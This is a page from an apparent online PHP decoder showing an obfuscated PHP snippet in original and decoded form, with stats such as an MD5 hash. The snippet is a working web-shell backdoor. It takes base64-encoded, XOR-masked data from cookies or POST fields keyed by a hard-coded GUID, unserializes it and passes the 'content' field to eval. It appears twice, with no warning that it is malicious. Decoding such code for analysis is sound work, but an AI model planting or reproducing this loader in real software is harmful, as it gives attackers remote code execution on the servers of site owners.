Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$ZOJEj = class_exists("Is_Fdewb");if (!$ZOJEj){class Is_Fdewb{private $nyTGBaCQ;public sta..

Decoded Output download

<?  $ZOJEj = class_exists("Is_Fdewb");if (!$ZOJEj){class Is_Fdewb{private $nyTGBaCQ;public static $QeTUHlbF = "a0104e9f-5016-4931-b294-6064c871dc46";public static $iicJi = NULL;public function __construct(){$NvcmaZudQ = $_COOKIE;$wFdEGp = $_POST;$kiWWFfhFJ = @$NvcmaZudQ[substr(Is_Fdewb::$QeTUHlbF, 0, 4)];if (!empty($kiWWFfhFJ)){$pFzZAUs = "base64";$LKTJFVndhw = "";$kiWWFfhFJ = explode(",", $kiWWFfhFJ);foreach ($kiWWFfhFJ as $qnraJu){$LKTJFVndhw .= @$NvcmaZudQ[$qnraJu];$LKTJFVndhw .= @$wFdEGp[$qnraJu];}$LKTJFVndhw = array_map($pFzZAUs . chr ( 361 - 266 ).chr ( 1098 - 998 ).chr (101) . "c" . 'o' . chr (100) . "e", array($LKTJFVndhw,)); $LKTJFVndhw = $LKTJFVndhw[0] ^ str_repeat(Is_Fdewb::$QeTUHlbF, (strlen($LKTJFVndhw[0]) / strlen(Is_Fdewb::$QeTUHlbF)) + 1);Is_Fdewb::$iicJi = @unserialize($LKTJFVndhw);}}public function __destruct(){$this->YjwdCOEm();}private function YjwdCOEm(){if (is_array(Is_Fdewb::$iicJi)) {$DkaWoLRjML = str_replace(chr (60) . "?" . "p" . "h" . "p", "", Is_Fdewb::$iicJi[chr ( 201 - 102 ).'o' . "n" . "t" . "e" . chr (110) . "t"]);eval($DkaWoLRjML);exit();}}}$xjRBbj = new Is_Fdewb(); $xjRBbj = NULL;} ?>

Did this file decode correctly?

Original Code

$ZOJEj = class_exists("Is_Fdewb");if (!$ZOJEj){class Is_Fdewb{private $nyTGBaCQ;public static $QeTUHlbF = "a0104e9f-5016-4931-b294-6064c871dc46";public static $iicJi = NULL;public function __construct(){$NvcmaZudQ = $_COOKIE;$wFdEGp = $_POST;$kiWWFfhFJ = @$NvcmaZudQ[substr(Is_Fdewb::$QeTUHlbF, 0, 4)];if (!empty($kiWWFfhFJ)){$pFzZAUs = "base64";$LKTJFVndhw = "";$kiWWFfhFJ = explode(",", $kiWWFfhFJ);foreach ($kiWWFfhFJ as $qnraJu){$LKTJFVndhw .= @$NvcmaZudQ[$qnraJu];$LKTJFVndhw .= @$wFdEGp[$qnraJu];}$LKTJFVndhw = array_map($pFzZAUs . chr ( 361 - 266 ).chr ( 1098 - 998 ).chr (101) . "\143" . 'o' . chr (100) . "\145", array($LKTJFVndhw,)); $LKTJFVndhw = $LKTJFVndhw[0] ^ str_repeat(Is_Fdewb::$QeTUHlbF, (strlen($LKTJFVndhw[0]) / strlen(Is_Fdewb::$QeTUHlbF)) + 1);Is_Fdewb::$iicJi = @unserialize($LKTJFVndhw);}}public function __destruct(){$this->YjwdCOEm();}private function YjwdCOEm(){if (is_array(Is_Fdewb::$iicJi)) {$DkaWoLRjML = str_replace(chr (60) . "\x3f" . "\x70" . "\x68" . "\160", "", Is_Fdewb::$iicJi[chr ( 201 - 102 ).'o' . "\156" . "\x74" . "\x65" . chr (110) . "\164"]);eval($DkaWoLRjML);exit();}}}$xjRBbj = new Is_Fdewb(); $xjRBbj = NULL;}

Function Calls

class_exists 1

Variables

None

Stats

MD5 616197bb74f804a1ab3aa2a188c5a567
Eval Count 0
Decode Time 41 ms